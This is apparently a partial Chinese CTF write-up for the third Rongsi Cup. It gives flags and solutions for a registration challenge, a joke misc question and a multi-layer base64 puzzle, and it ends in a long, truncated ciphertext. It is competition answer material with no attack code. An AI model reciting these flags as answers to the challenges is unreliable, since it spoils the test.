融思杯 第三届 部分wp
一、Registration Award：6
# include <stdio.c>
int main(int argc, char * argv[])
{
// 输入大括号内的内容
flag = "FLAG{I_LOVE_CTF_GAME}";
printf("%s\n", flag);
return 0;
}
flag:FLAG{I_LOVE_CTF_GAME}
二、Misc：
misc（1）： Fun：Cuteboy 10
tips：出题人是不是可爱的Boy？ 请用一个单词描述出题人。
wp：According to the hint, the subject is very narcissistic.
so，we got the flag：narcissism
misc（2）：简单的编码 200
tips：我做了多少次编码呢？^_^
wp：根据密文类型可知是base64解密，只不过次数多了点，下面是密文
Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGhSemxWVm14YU0xWnNXbUZrUjA1R1UyMTRVMkpIZHpGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMVV5TVRSVk1rcElaSHBHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMHhORmxWTUhoWGJrNVlZbFZhY2xWcVFURlNNVlY1VFZSU1ZrMXJjRWxhU0hCSFZqRmFSbUl6WkZkaGExcG9WakJhVDJOdFJraGhSazVzWWxob1dGWnRNSGhPUm14V1RVaG9XR0pyTlZsWmJGWmhZMnhXY1ZGVVJsTk5WbFkxVkZaU1UxWnJNWEpqUld4aFUwaENTRlpxUm1GU2JVbDZXa1prYUdFeGNHOVdha0poVkRKT2RGSnJhR2hTYXpWeldXeG9iMWRHV25STlNHaFBVbTE0VjFSVmFHOVhSMHB5VGxac1dtSkdXbWhaTVZwaFpFZFNTRkpyTlZOaVJtOTNWMnhXWVZReFdsaFRiRnBxVWxkU1lWUlZXbUZOTVZweFUydDBWMVpyY0ZwWGExcDNWakZLVjJOSWJGZFdSVXBvVmtSS1QyTXlUa1poUjNCVFlrVndWVlp0ZUc5Uk1XUnpWMWhvV0dKRk5WUlVWM2hIVGxaV2RHUkhkR2hpUlhBd1ZsZDRjMWR0U2tkWGJXaGFUVzVvV0ZreFdrdGtSa3B6Vld4T2FWSXpZM2hXYTFwaFZURlZlRmR1U2s1WFJYQnhWV3hrTkdGR1ZYZGhSVTVVVW14d2VGVXlkR0ZpUmxwelYyeHdXR0V4Y0ROWmEyUkdaV3hHY21KR2FGaFRSVXBKVm10U1MxVXhXWGhYYmxaV1lsZG9WRmxZY0ZkbGJHUllaVWM1YVUxWFVraFdNalZUVkd4a1NGVnNXbFZXYkhCSVZGUkdVMVp0UmtoUFYyaHBVbGhDTmxkVVFtRmpNV1IwVTJ0a1dHSlhhR0ZVVnpWdlYwWnJlRmRyWkZkV2EzQjZWa2R6TVZZd01WWmlla1pYWWxoQ1RGUnJXbEpsUm1SellVWlNhVkp1UW5oV1YzaHJWVEZzVjFWc1dsaGlWVnBQVkZaYWQyVkdWWGxrUkVKWFRWWndlVmt3V25kWFIwVjRZMGhLV2xaWFVrZGFWV1JQVWpKS1IyRkhhRTVXYmtKMlZtMTBVMU14VW5SV2EyUnFVbGQ0Vmxsc1pHOVdSbEpZVGxjNVYxWnRVbGhXVjNNMVZXc3hXRlZ1Y0ZkTlYyaDJWakJrUzFkV1ZuSlBWbHBvWVRGd1NWWkhlR0ZaVm1SR1RsWmFVRll5YUhCVmJHaENaREZhYzFwRVVtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZucFdkbFl3V25KbFJtUnlaRWQwVTJFelFqWldiR1EwVkRKR1YxTlljRnBOTW1oWVdWUkdkMkZHV2xWU2JGcHNVbTFTTVZVeWN6RlhSa3BaVVc1b1YxWXphSEpVYTJSSFVqRmFXVnBIYUZOV1ZGWldWbGN4TkdReVZrZFdXR3hyVWpCYWNGVnRlSGRsYkZsNVpVaGtXRkl3VmpSWk1HaExWMnhhV0ZWclpHRldWMUpRVldwS1MxSXlSa2hoUlRWWFltdEtNbFp0TVRCVk1VMTRWVmhzVlZkSGVGWlpWRVozWVVaV2NWTnRPVmRTYkVwWlZHeGpOVll4V25OalJXaFlWa1UxZGxsV1ZYaGpiVXBGVld4a1RsWXlhREpXTVZwaFV6RktjMVJ1VWxOaVIxSndWakJrYjA1c1drZFZhMlJXVFZad01GVnRkRzlWUmxsNVlVaENWbUpIYUVSVWJYaHJWbFpHZEZKdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp1Y0Zka2JGbDNWMjVLYkZKdFVubFhhMXByVmpKRmVsRnFXbGRoTWxJMlZGWmFXbVZXVG5KYVIyaE9UVzFvV1ZkV1VrZGtNa1pIVjJ4V1UySkdjSE5WYlRGVFRWWlZlV042UmxoU2EzQmFWVmMxYjFZeFdYcGhTRXBWWVRKU1NGVnFSbUZYVm5CSVlVWk9WMVpHV2xkV2JHTjRUa2RSZVZaclpGZGliRXBQVm14a1UxWXhVbGhrU0dSWFRWZDRlVlpYTVVkWFJrbDNWbXBTV2sxSGFFeFdNbmhoVjBaV2NscEhSbGRXTVVwUlZsUkNWazVXV1hoalJXaG9VakpvVDFVd1ZrdE5iRnAwVFZSQ1ZrMVZNVFJXVm1oelZtMUZlVlZzVmxwaVdGSXpXV3BHVjJOV1RuUlBWbVJUWWxob1lWZFVRbUZoTWtwSVUydG9WbUpIZUdoV2JHUk9UVlpzVjFaWWFGaFNiRnA1V1ZWYWExUnRSbk5YYkZaWFlUSlJNRmxVUms5U01WcDFWR3hvYVZKc2NGbFhWM1J2VVRGT1YxZHJaRlpoTWxKWFZGWmFkMDFHVm5Sa1J6bFdVbXhzTlZsVmFFTldiVXBJWVVWU1ZXSllhSEpXYkZwSFpFWktkR05GTlZkTlZXd3pWbXhTUzAxSFJYaGFSV2hVWWtkb2IxVnFRbUZXYkZwMVkwWmthMkpHYkROV01qVkxZa1pLZEZWdWJGaGhNWEJ5Vm1wS1JtVnNSbkZYYkdSb1RXeEpNbFpHV21GWGJWWlhWRzVLWVZJeWFFOVVWekZ2VjFaa1YxVnJaR3ROYTFwSVZqSjRWMVV5U2tkalNFNVdZbFJHVkZSV1dsWmxWMDQyVW14b1UyRXpRbUZXVm1NeFlqRlplRmRZY0doVFJYQldXVlJLVTFOR1ZuRlNiVVpZVm01Q1NWbFZXazlXTVZwSFYyeGtWMkpIVGpSVWEyUlNaVlphY2xwR1pHbGlSWEJRVm0xNGExVXhXWGhWYkdoclUwZFNXRlJXWkRSbFZscFlUVlZrV0ZKcmJETldiWEJUVjJzeFNHRkZlRmROYm1ob1ZqQmFWMk5zY0VoU2JHUlhUVlZ3VWxac1VrTldhelZYVjFob2FsSlhhRzlWYWtwdlZERlZkMVpyZEU1aVJuQXdWRlpTUTFack1WWk5WRkpYVm0xb2VsWnRNVVpsVmxaelZteHdhVmRHU1hwWFYzQkhWakpPVjFSdVVsQldiVkpVV1d4b2IxbFdaRlZSYlVab1RXdHdTVlV5ZEc5V2JVcElaVWRvVjJKSFVrOVVWbHB6VmpGYVdXRkdhRk5pUm5BMVYxWldZV0V4VW5SU2JrNVlZa1phV0ZsVVNsSk5SbHBGVW1zNVZGSnJjSGxYYTFwTFlWWktkVkZ1WkZkaVdGSllWbTB4VW1WR1pIVlZiWEJUVmpGS1dGWkdXbUZrTURGSFZtNVNhMUo2YkZkVmJYaDNUVVpzVmxkc1RsZFdiSEJaV1ZWV1UxWlhTa2RqUjJoV1RVZFNXRlV3V2t0a1IwNUdUbFprVGxaWGQzcFdiWGhUVXpBeFNGSllhR0ZTVjJoVldXdGtiMkl4Vm5GUmJVWlhZa1p3TVZrd1dtdGhNa3BIWWtST1YwMXFWa3haYTFwTFpFWldkV0pHYUdoTldFSjVWbTF3UzFKdFZuTlNia1pZWWtkU2IxUlhlRXBOYkZwSFYyMUdXR0pXV2xoV1J6VkxXVlpKZVdGRk9WVldla1oyVmpGYWExWXhWbkphUjNST1lURndTVlpxU2pSV01WVjVVMnRrYWxORk5WZFpiRkpIVmtaU1YxZHNXbXhXTURReVZXMTRiMVV5UlhwUmJVWlhWbTFOZUZscVJscGxSbVJ4VjJ4S2FHSkZjR2hYVm1Rd1dWWnNWMk5HV2xoaVIxSnhWRmQwWVZJeFVYaFhiWFJvVWpGYWVsWXllRWRXTWtWNFkwZG9XRlp0VWxOYVZscGhZMnh3UjFwR2FGTk5NbWcxVm14a01GWXhUWGhhUldSV1lrZFNXVmx0TVZOak1WcDBUVlJDVGsxV2JEVlViR1F3VjBaS2NtSkVUbGRpV0VKVVZqSnplRk5IUmtabFJtUk9ZbTFvYjFacVFtRldNazV6WTBWb1UySkhVbGhVVmxaM1ZXeGFjMXBJWkZSTlZURTBWVEZvYzFVeVJYbGhSemxXWWtaS1dGWXdXbk5rUjFKR1pFVTFhVkp1UVhkV1JscFRVVEZhY2sxV1drNVdSa3BZVm0weGIyVnNXblJOVlZwc1ZteGFlbFl5ZUhkaFZtUkhVMWh3V0Zac1dtaFdha3BUVTBaYWNsZHRkRk5OTUVwVlYxZDBiMUV3TlVkWGJGWlVWMGRTVUZacVFuZFRWbFY1WkVjNVYySlZjRWxhVldSdlZqSktTRlZyT1ZWV2JIQjZWbXBHWVZkWFJrZGhSazVwVW01Qk1WWXhXbGRaVjBWNFZXNVNVMkpyTlZsWmExcGhWMFpzVlZOc1NrNVNiVkpZVmpKME1HRnJNVmRUYWtaWFVucEdkbFpVU2t0U01rNUhZa1pvVjAweFNtOVdha3A2WlVaSmVGcElTbWhTTTFKVVZGVmFkMkZHV25STlNHaFdUVlUxV0ZZeWVHOWhNVW8yWWtjNVZWWnNXak5VVlZwaFYwZE9ObFpzWkU1aE1YQTFWbXBLTUU1R1duSk5XRlpvVTBWd1dGbFhkR0ZoUm5CR1YydDBhMUl3TlVkVWJGcHJWR3hhV0dRemNGZGlXR2hVVlhwQmVGTkdUbGxpUms1b1RXeEtWbGRYTVhwTlZscFhZa2hLWVZKNmJGaFphMXAzWld4WmVVNVhkRlZoZWtaWVdUQm9jMVl3TVhGU2EyaGFWak5vYUZreWN6RlhWMHBIWVVkb1RsZEZTbEpXTVZwaFdWWk5lVlJ1VWxWaE1WcFpXV3RrVTJJeFVsaGpla0pPVW0xU1dsa3dWbXRXTWtwWFYyeG9WMUo2VmxoV2EyUkxVakZPZFZGc1pHbFNia0Y2Vm1wR1lWbFdTWGhpUkZwVFlsZDRUMVpxUmt0VFZtUllaRWM1VTAxV2NFbFZiR2h2WVd4T1JrNVdaRnBpUmtwSVZtdGFXbVZYVmtoa1IzQnBVbTVDVjFaWE1UUmhNVkp6VjI1V1VtRnNjRmxXYTFaTFlVWmFjVkp0ZEZOTlYxSXhWa2Q0VTJGRk1YUmhSemxYVmpOU1dGZFdXbk5XTWs1SFYyMUdVMWRHU2xaV2JURjZUVmRXYzJKR1dtRlNlbXhXV1Zod1IxWXhhM2RYYlVaWFRXdHdTVlpIY0ZOV1YwVjVWV3hPWVZac2NHaFpNbmgzVWpGd1NHSkdUazVXV0VGNVZtMTRhazFYVVhsVVdHeFVWMGRvVjFsclpGTlhWbXgwVFZaT2FrMVhlSGxXTWpWUFZERmFkR1JFVGxkaVZFVjNWbXBCZUZKV1NuSlhiRnBwVjBWS1NWWnFTalJaVm1SSFZtNVdXR0pIVWs5WmJURnZZakZhY1ZGdFJsZE5helY2V1RCV2IxVXlTa2hWYkdoVlZteGFNMVpYZUdGak1YQkpXa1pTVGxaVVJUQldWRVp2WXpGVmVWSlliR2hTZW14WFdXdGFTMWRHV1hkWGJrNXJVakZLUjFwRlZURmhWa3AxVVZoa1YxSnNjRlJWVkVaaFkyc3hWMWRyTlZkU2EzQlpWbTB3ZUdJeVZuTlhiazVZWWxoU1ZWVnFSbUZUUmxsNVpVaGtWMDFWY0ZoWmFrNTNWMFphYzFkdGFGZGhhM0JRVm1wR1UyUldWbk5SYkdScFZtdHdWbFl4WkRCV01sRjRXa2hPV0dFeWFITlZhazVEVlVaYWRHVklUazlTYkd3MVZHeFZOV0ZIU2taalJteGFWbFp3ZWxacVNrWmxSbHBaWVVkR1UwMHlhRFpXYlhCSFdWWmtXRkpyYUdwU01uaFlWakJXUzFOR1duUmxSM1JQVWpCV05GWlhOVTlYUm1SSVpVYzVWbUV4V2pOV01GcFRWakZrZFZwSGFGTmlSbXQ1VmxjeE1FMUhSbkpOVm1SVVlXdGFXRlpxVG05VlJteFhWMnR3YkZKck5URlhhMXByWVVkRmQyTkliRmhXTTBKRFZGWmtUbVZHY0VsVGJVWlRZa2hDZGxaR1pEUlRNV1JIVjJ0a1dHSlZXbkpVVlZKSFUwWmFkRTVXVG1oTlZXOHlXV3RhYTFadFNsbGhTSEJWWWtad2VsWnRNVWRTYkZKeldrZHNWMWRGU2t0V01WcFhWakZWZUZkc2FGUmlSM2h2VlRCV2QxZEdiSEpYYm1SVVVtNUNSMVl5ZERCaE1VbDNUbFZrVldKR2NISldSM2hoVjBkUmVtTkdaR2xYUjJoVlZsaHdRbVZHVGtkVWJHeHBVbXMxYjFSWGVFdFdiR1JZVFZod1RsWnNjRmhaYTJoTFdWWktObUpHYUZwaE1YQXpXbGQ0V21WVk5WaGtSbFpvWld0YVdWZFVRbTlqTVZsM1RWaEdVMkV5YUdGV2FrNXZZVVpyZVdONlJsaFdNSEJJV1ZWa2IxUnNaRVpUYkVwWFRWWndhRmRXV2s1bFZsSjFWV3hXYUUxV2NGcFhWM1JyVlRKSmVGVnNhR3BsYTBwUFZXMHhVMWRzYTNkV2JYUlhUV3R3V0ZZeWVHOVdNVW8yVm14b1YyRXlVa3hWYWtaUFpGWkdjMXBIYkZOaWEwWTJWbTF3UjFsV2JGZFRXR2hwVWtad1ZGbHNaRFJVTVZweFVtdDBWRlp0VWxsYVJXTTFWVEF4VjJORmJGWmlSMmgyV1ZkNFQxSnJOVmRhUm5CcFVtdHdTVlp0ZEdGWGJWWllWbXRvYTFJelFuQlZiVFZEVmpGYVdFMVVVbWhOVmtwNlZqSTFWMVZ0Um5OalJteFhZVEZhVEZsVldtRmpWa3AwWkVaT1RsWXhTWGhXYTJRMFZUSkdSazFZVW1oU2VteFlWbXBPVTFkR1pGZFhiazVYVFdzMVNGWXlNVWRWTVdSSFUyeGFWMkpVUmpaVVZtUlhZekpLUjFkdFJsTmxiWGhYVjFab2QxSXhXWGhoTTJSWVlsVmFXRlJYZEhkVFZscElZMFpPVjFZd1ZqVldWM2hQV1ZaYWMyTkhhRnBOYm1nelZXcEdkMU5IU2tkVWF6VlhWMFZHTlZadE1UUmhhekZZVlZoc1ZWZEhlRlZXTUdSdlZqRnNjbHBHVGxoV2JYZ3dWRlphVDJGck1WaGxTR3hYVFdwV1VGWkVSbUZrUjFKRlZHeGthVlpGVmpOV2JYQkNaVVpLVjFOdVNsaGlSbkJ3VmpCV1MxTldXbkZUYWxKYVZtMVNTVlZ0ZEdGaVJrcDBWV3M1V21KVVJuWlpha1poWTFaR2RGSnNaRTVoZWxZMlYxUkNWMkl4VlhsVGEyaFdZWHBzVmxadWNFZGtiRlY1WlVad2JGSnNXbmxaTUdRMFZUSkdObEpVUWxkV1JWcDJXV3BLUjJNeFRuTmhSbHBwVmpKb1dGZFhkR0ZUTVdSSFYydFdVMkpIVW5GVVYzUmhVakZhU0dWR1RsVmlSbkF4VlZab2ExWXhTbk5qUmxKV1ZrVmFhRmt5YzNoV01XUnlUbFprVTJFelFscFdNV1F3WVRKSmVWVnVUbGhYUjFKWldXeG9VMVpXVm5GUmJVWlVVbTE0VjFZeU5XdGhSbHAwVld0c1dsWlhUVEZXYWtwTFYxWkdjbUZHY0d4aE0wSlFWMnhhWVZNeVRuTmFTRTVYWWxkNFZGUldWbmRXYkZsNFdrUlNhVTFyYkRSWmExcHJXVlpLYzFkc1RscGlSbHBvV1dwR1UxWXhjRWRVYkZKVFlrZDNNVlpIZUZaT1YwWklVMnRhYWxKRlNtaFdiR1JUVTBaYWMxZHRSbGROYXpWSVYydGFWMVl5U2tsUmFscFhZbGhDU0ZkV1dtdFhSa3B5WVVkd1UwMXVhRmxXYWtKWFV6Rk9SMWR1VW14U00xSlFWV3BDVjA1R1dsaE9WVGxZVW0xU1NWcFZZelZXYlVWNFYycE9WMDFHY0ZSV2FrWnJaRlp3U0dGR1RtbFNiWFExVm14amVFMUhVWGxUYTJSVVltczFWVmxYZEdGWFJteHpZVWM1VlZKdGVGaFdNblF3WVdzeGNrNVZhRnBoTVhCMlZtcEJkMlZHVG5GVGJHUlhZa1Z3U1ZkV1VrZFhiVlpIWTBWc1ZHSlhhRlJVVkVaTFZsWmFSMVp0Um10TmExcElWakkxVTFSc1RraGhSbVJWVm14VmVGWXdXbHBsVjFaSVQxZG9UbFpYT0hsWFYzUnFUbFphVjFkdVRsaGhhelZXVm14YWQyVnNXblJsUjNScVRWWktlbGRyV210aFZrNUdVMjFHVjAxV2NGaFdha1pXWlVaa2MyRkdVbWhOYkVwNFZsZHdTMkl4V1hoVmJGcGhVbXMxV1ZWdGVGZE5NVmw1WkVSQ2FFMVZiRE5VYkZaclZsZEtSMk5JU2xkU00yaG9WakJrVW1WdFRrZGFSMnhZVWpKb1ZsWnNhSGRSYlZaSFZHdGtWR0pIZUc5VmFrSmhWa1phY1ZOdE9WZGlSMUpaV2tWa01HRlZNWEppUkZKWFlsUldTRlpYTVV0V2JHUnpZVVp3YUUxWVFYcFdSbHBoWTIxUmVGcElVbXRTTW1oUFdWUk9RMU5XWkZoa1JrNVZUVlpzTTFSV2FFZFdNa1Y2WVVkR1dsWkZXak5XUlZwM1VteGtjMXBIZEZkTlNFSktWbGN4TkZReFdYZE5WbHBZVjBoQ1dGbHNhRzlXUmxZMlVtdDBhMUpzY0RGV1IzaFBZVmRGZUdOR2NGaFdNMUp5VmxSS1QxSXhXblZTYkU1b1RWaENlVlpHV21Ga01sWlhWMnhvYTFKRlNsZFVWVkpIVjBac2NsVnNUbGROVld3MldWVm9kMWRzV1hwaFJYaGhVbXh3U0ZreWN6VldNVnB6V2tkNGFFMVhPVFZXYlRGM1VqRnNXRkpZYUZoWFIyaFlXVzEwZDJGR1ZuRlViRTVWVFZkNFZsVnROV3RXUmxwelkwaG9WazF1UWxSV2FrRjRWakZhY1Zac1drNWliRXA1VjFaa05GUXhTbkpPVm1SaFVtNUNjRlZ0ZEhkVFZscDBaRWRHVmsxV2JEUlhhMmhQVjBkS1dXRkdhRlZXVmtwVFdsWmFZVmRGTVZWVmJXeE9WbXhaTVZaWGVHOWtNVlowVTJ4YVdHSkhhRmhaYkZKSFZERndWbGR1VG1wV2EzQjZXVEJrTkZVeVNsZFRhbEpYWVd0dk1GVjZTa2RUUms1eVYyMXdVMDF0YUZwV2JUQjRWVzFSZUZwR1pGaGlhelZZVkZkek1WTkdXWGxsUnpsb1ZtdHNORlV5Tlc5V01VcDBWVmhrV0Zac2NFdGFWVnBYVjFkR1IyRkhiRmhTYTNBeVZteGtkMUl4YkZoV2JrNVlWMGQ0YzFWc1pGTlhSbEpZWkVaa1QxSnRkRE5YYTJNMVYwWktjMk5FUWxkV00yaFFWMVphWVdNeVRraGhSbkJPWW0xbmVsWlhjRWRrTVVsNVVtdGtWV0Y2Vms5WmJHUnFaVVphZEUxVVVtaE5SRVpJVmpGb2IxWldaRWhoUjJoV1lrZFNWRlpxUm5OamJIQkhWR3hvVjJKWVozZFdSbHBoVkRKR2NrMVdaR3BTUlVwV1ZtMTRTMUpHV2toak0yaFhUV3R3UmxadGVGZGhWa2w0VW1wT1YyRnJTbWhWZWtwUFpFWk9jbFpzVm1sU01VcDNWbXBDVjFNeFdsZFhia1pVWW01Q2MxVnRkSE5PUmxwSVRsVTVWbUpWY0VsV1YzTTFWMnhaZWxWdGFGWk5SbkJ5V1hwR2EyUkdTbk5hUlRWb1pXeFpNbFl4VWtOV01rbDRWbGhzVkdFeWFGZFpXSEJ6Vm14YWRXTkZaR3RpUmxZMVdsVmFkMkpHU25OWGJteGFUVWRSTUZaVVNrZE9iRXBWVVd4a1YxSldjREpYVjNCTFVqSk5lRlJ1VG1oU01taFZWV3hXZDFkR1pGaGxSazVUVFd4S2VsWXlOVXRYUjBwV1YyNUdWVll6VW1oVmFrWmhVMGRXUjFSc1ZtbFNia0Y0VmxaYWIyRXhXWGhUYms1cVVteEtWMVpyVm1GaFJtdDVZek5vVjAxWFVubFViRnByVlRKRmVsRnNjRmROVjFGM1dWUktTbVZXVm5WVWJHaFlVakZLV2xkWGVHOVZNVnBYVm01R1VtSlZXbFZWYlRFMFpWWlplVTVYZEdoU2JIQXdWbGQwYzFkc1dsaFVWRVpYWVd0d1RGWnNXa3RXVmtaelkwZDRhRTB3U2xKV01XaDNVekZSZUZOdVVsTmhNbEpUV1d0a1UxUXhVbFpXYm1SWFlrWnNORmRyVWtOaFZURldWbXBPVldKR1duSldNR1JMVWpGa2MxWnNaRTVTTVVwVlZteFdZVmxYVGxkU2JsWmhVbXhLV0ZscldscE5WbVJ5Vm0xd1QxWnNiRFZWTW5oaFlXeEtXR1ZIYUZkaVIxSlVXa2Q0WVdOV1RuSmtSbEpUWWtad05WWkVSbUZXTVZsNVUydHNVbUZzY0ZoWmJHaERVMFprVjFkdGRGaFNhM0I1V1ZWa2QxVXdNWFZoUm14WFlXdEtXRlY2Ums5U01XUjFWVzE0VTAweFNsRldWM0JEVmpBMVIxZHNhRTlXVkd4WlZXMHhVMU5XY0ZaWmVsWlhZbFZXTkZZeWNFOVdNREZIWTBaU1YyRnJXbkphUmxwM1UwZEdSMVJ0YkZOaVdGRXhWbTE0YW1WRk1VaFZXR3hVWVRKU1ZWbHRjekZXVm14WVpFZEdXRkpzV2pGWk1GWnJWa1pLYzJOR1dsWk5ibEYzVmxSQmVHTnJOVlpoUm5Cb1RWaENNbFp0Y0VKa01sWkhWRzVTVUZadGFHOVVWbFozVWtaYVIxZHRkRlZpVmxwSVdUQldjMVpIU2xoaFJsSlZWa1Z3ZGxac1dtRlNNVnAwVW0xMFRtRXhjRWxXYWtreFZURlNjMVJyYUdoU2JWSldWbTE0WVdWc1VuSlhiVVpZVWxSV1YxUXhXbTlWTURGSlVXeG9WMkZyYnpCWlZFWmhaRVpPYzJKSGFGUlRSVXBYVjFkMFlXUXlWbk5YYmxKc1VqTlNjbFZzVW5OWFJteFdXa2hPVmsxRVJsZFpNRlkwVmpKS1IyTklTbFZoTWxKTFdsVmFhMlJXVG5KT1ZtUlhUVlZ3TkZac1pIZFRNa2w0WWtaa1ZtSkhVbGxaYlRGVFZqRldkRTFVUWs5U2JHdzFXbFZrTUdGSFJqWlNiR3hYVm5wV2VsWnNaRXRTTWs1SlUyeGtVMDB5YUc5V2FrSnJWVzFXZEZSclpHRlNNbmhaVldwS2IxWnNXbk5oU0dSU1lsWmFTRlpIZEd0V1YwcElaVWhDVm1KWVRYaFpha1pUVjBkV1JtUkdaR2xTTVVwYVZrWmFiMlF4VW5OWGJrNXFVbTFvWVZsVVNtOVVSbVJYVjJ0MFQySlZjRWhaVlZwM1lVVXhXVkZZY0ZkU2JGcG9Xa1JHWVdSR1NuSmhSM1JUWWtad2RsZHNaREJaVm1SWFdrWm9hMUpyTlZaVVZscHpUVEZTVjJGRlpGZE5hMVkyV1ZWa1IxZHNXa1pYYWs1WFVsWndNMVZ0ZUd0ak1YQklaRVprVGxORlNrdFdiR040VGtaUmVGZFlaRTVXYkhCd1ZXdGFkMWRHVWxkWGJtUm9VbTFTV0ZZeU5VOVhSa3B6VTJwR1YxWXphRmhaVlZWNFYxWkdkVnBHWkZkbGEwa3dWbXhTUzFReFNYaFhibFpUWWtVMWIxUldhRU5sVmxwSFYyMTBWazFYVWtoV01uaHZZVEZLUmxOc1pGVldWa3BJVmpGYVlWZEhVa2hQVm1Sb1pXdFplRmRXVm05a01XUkhWMjVPYWxKWVVtaFdhazV2VTBac05sSnNaR3BOV0VKSldWVmtiMkpIU2tkaVJGWlhZbFJHTTFWcVJuTlhSa3BaWVVkR1UxWXlhRmxYVmxKTFlqRldWMWR1VW10VFIxSldWRlphZDAxR2NFWmhSM1JYVW14d2Vsa3dhSGRYUm1SSlVXdG9WMkV4VmpSV01GcFhZMjFLUjFkck5XbGlSWEIyVmpGYWEwNUdVWGhUYmtwUFZtMVNhRlZ0TlVOalJsWjBaRWhrVkZac2NEQmFSV1JIWVRBeFdGVnJiRmRpV0ZKNlZteGtTMU5HVm5WUmJGcG9ZVEZ3VFZaSE1UUlpWMDV6WVROd2FGSXllRTlXYlhoYVRVWmFjVk5xUWxwV2JWSkpWVzAxVDJGc1NuUmhSbWhhVmtWYWFGcFdXbmRXYkdSMVZHMXdWMkV6UWpaWFZFSnJUa1pWZVZOc1pGUmhiRXBZV1ZkMGRrMUdWalpUYTJSVVVtczFlVll5TVhkVk1rcFhVMnh3VjJKVVJUQlZla1pUVWpGa2MxWnNUbWhsYlhoVlZrWmFZV1F3TVZkV2JsSnNVbFJzYjFadGVIZFhSbXQzVjI1a1YwMXJjRlpWVm1odlZteGFSbGRzUWxkaGEzQk1WV3BHYTJNeVJraGhSM2hwVjBkb1lWWnRkR0ZaVm14WVZWaG9WV0V5VWxsV01HUTBZekZXY1ZGdFJsaFNiRXBaV2tWb2ExWkdXbk5qUld4YVRVWndVRlpxUmxwa01WcHhWbXhrVjAweWFGRldNVnBoV1ZkTmVWUnJhR2hTYmtKUFdXMHhibVZzV2xoalJXUnJUVlZzTlZWdGRHdFdWMFkyVm1zNVdtSkhVbkZhVlZwaFpFVXhWVlZ0YUU1aVJWa3dWbGQ0YjJJeVJsZFRibEpvVW14d1lWWnJWbmRXUmxsM1YyNU9hMUl4V2tkYVJXUjNWR3hhYzFkWWNGZE5ibEpvVmtSS1IyTnJNVmRoUjNoVVVqTm9XVlpHWXpGaU1rNXpWMnRXVTJKVlduSldiWFJoWld4a2NsZHVaRmROVm13MFZXMXdUMVl5Um5KVGJXaFdUV3BHVTFwV1dsTmpiR1IwWVVaT2FXRXdjRkZXYkdOM1RWWkZkMDFZVGxoaWExcFZXVzAxUTJNeFZuUmpla1pVVW14d01GUnNXbXRYUmtsM1kwVnNWMVl6VFRGV01qRkxWbFpLZFZkc2NHaGhNWEJ2VjFSR1lWSXlVa2RUYms1aFVsUldiMXBYZUZwTmJGbDRWV3RPVjAxcmJEUldiR2h6VmtkRmVXRkdaRnBoTWxKMlZtMTRZV1JIVmtoU2F6Vk9WbTVDV2xkc1ZtdFNNa1p5VFZac1VtRXpRbGxaVkVaM1ZrWmFTR1ZIUmxkV2EzQldWVmQ0YTFZeFNsZGpSRXBZVjBoQ1NGWnRNVmRXTVU1ellrZHNVMDF0YUZWWGJHTjRUa1prUjFwR2FHdFNNRnBWVkZaa1UxTkdXWGhoUjNSWVVqQndlVlJzYUV0V2JVWnlWMnQ0Vm1GcldqTlZiWGhoVmxaS2RHRkdaR2hOTUVZMFZteGFZV0l5UlhoWFdHaFVZbXMxY1ZWdGVFdFdNVnB5Vm0xR2FGSnRkRFZaZWs1dlZqQXhXRlZ1YkZWaVJuQnlWbFJLUm1Wc1JuTmpSbVJwVmtWSmVsZHNWbXRUYlZaWFYyNVdWV0pIYUhCWmExWjNWVVphZEdWSFJtdE5hekUwVmpJMVUySkdTWGRYYms1YVlURndlbFJzV25kV2JVWklaRWRvVTJKSVFYZFdiR1F3WWpGYWNrMVdhR2hTUlRWWVZGVmFkMkZHYkRaU2JYUnJVakJhU0ZkclpHOWhSVEIzVTJ4YVYySkdTa1JYVmxwelYwWlNkVlJ0UmxSU2EzQjVWbGN4ZWsxV1VYaFZiRnBYWW0xU1dGbHJXbk5PUm1SeVZXdE9hRlpVUmxkV2JYQlBWbGRLUjFkdVNsZE5SMUpNVldwR2EyTXhXbk5hUlRWVFRWVndWbFp0ZUZkWlZteFlWR3hrVTJKc1dtaFZiWGhMVjBac2NsZHNjRTVXYlZKNVZtMHhkMVF4V25OaVJGWldUVzVvYUZsWGVFdFhSMVpJWVVaa2FWSXhTbFZYYTJRMFdWZE9WMVJ1U210U2JFcFVXV3RhZDA1V1drVlNiVVpYVFZac05WVXlkSE5WYlVaelkwWm9XbUpIYUVSVk1GcHJWakZrZEdSR2FGTmhNMEkxVmpKMGEySXhWWGxTYWxwWFltMVNXRlp1Y0VKbFJsWllZek5vYWsxWFVscFpWVnB2WVZaSmVGTnRhRmRpV0VKRVZtcEJNVkl4WkhOaFJUbFhWa2Q0V2xaWE1IaFZNVTVYWTBaYVdtVnNXbGhaYkZaWFRrWlplV05GT1ZkTlJFWklXVEJhVTFZeVJuSlhia3BoVW14d00xVXdaRWRTTVZKMFlrWk9hVmRHUlhoV2JURTBZVzFXUmsxVmFGWlhSM2hWV1ZSS1UxWldiSFJqZWtaWFZtMTRXVnBGWkVkWFJrcHpWMnBHV2sxR1duSldhMXBMWXpKT1IxZHNXazVpYkVZelZteFNRbVZIVG5KT1ZscG9VbTVDYjFSV2FFTk5iRnAwWTBWS2EwMXNXa2hXUnpWSFZrZEtTRlZzYUZwaE1Wb3pWV3RhWVZJeFpIUmtSbFpwVm14d1NWZFVRbGRqTVZwSVUyeG9hRkpzU2xaV2ExWmhWRVphYzFkdFJsTk5WbkF3VlcweE1GUnNXWGhUYkd4WFlXdHZkMWxVUm5OV01WSnlZa1pLYVdGNlZsaFhWM1JoVXpGa1IxZFlaRmhpVlZweVZXeFNWMWRHV2toTlZ6bFZZa1p3V1ZRd2FITlhSbGw2Vlcxb1dsWkZXbWhhUlZwUFl6SktTR0ZHVWxSU1ZYQllWakZrTUZsWFVYbFdiazVZWW14S1QxWnNaRk5XUm14eVYydDBiR0pIVW5sWGEyaFBWakF4V0ZWclpGWk5ibEYzVm1wQmVGWXlUa2RoUm1Sb1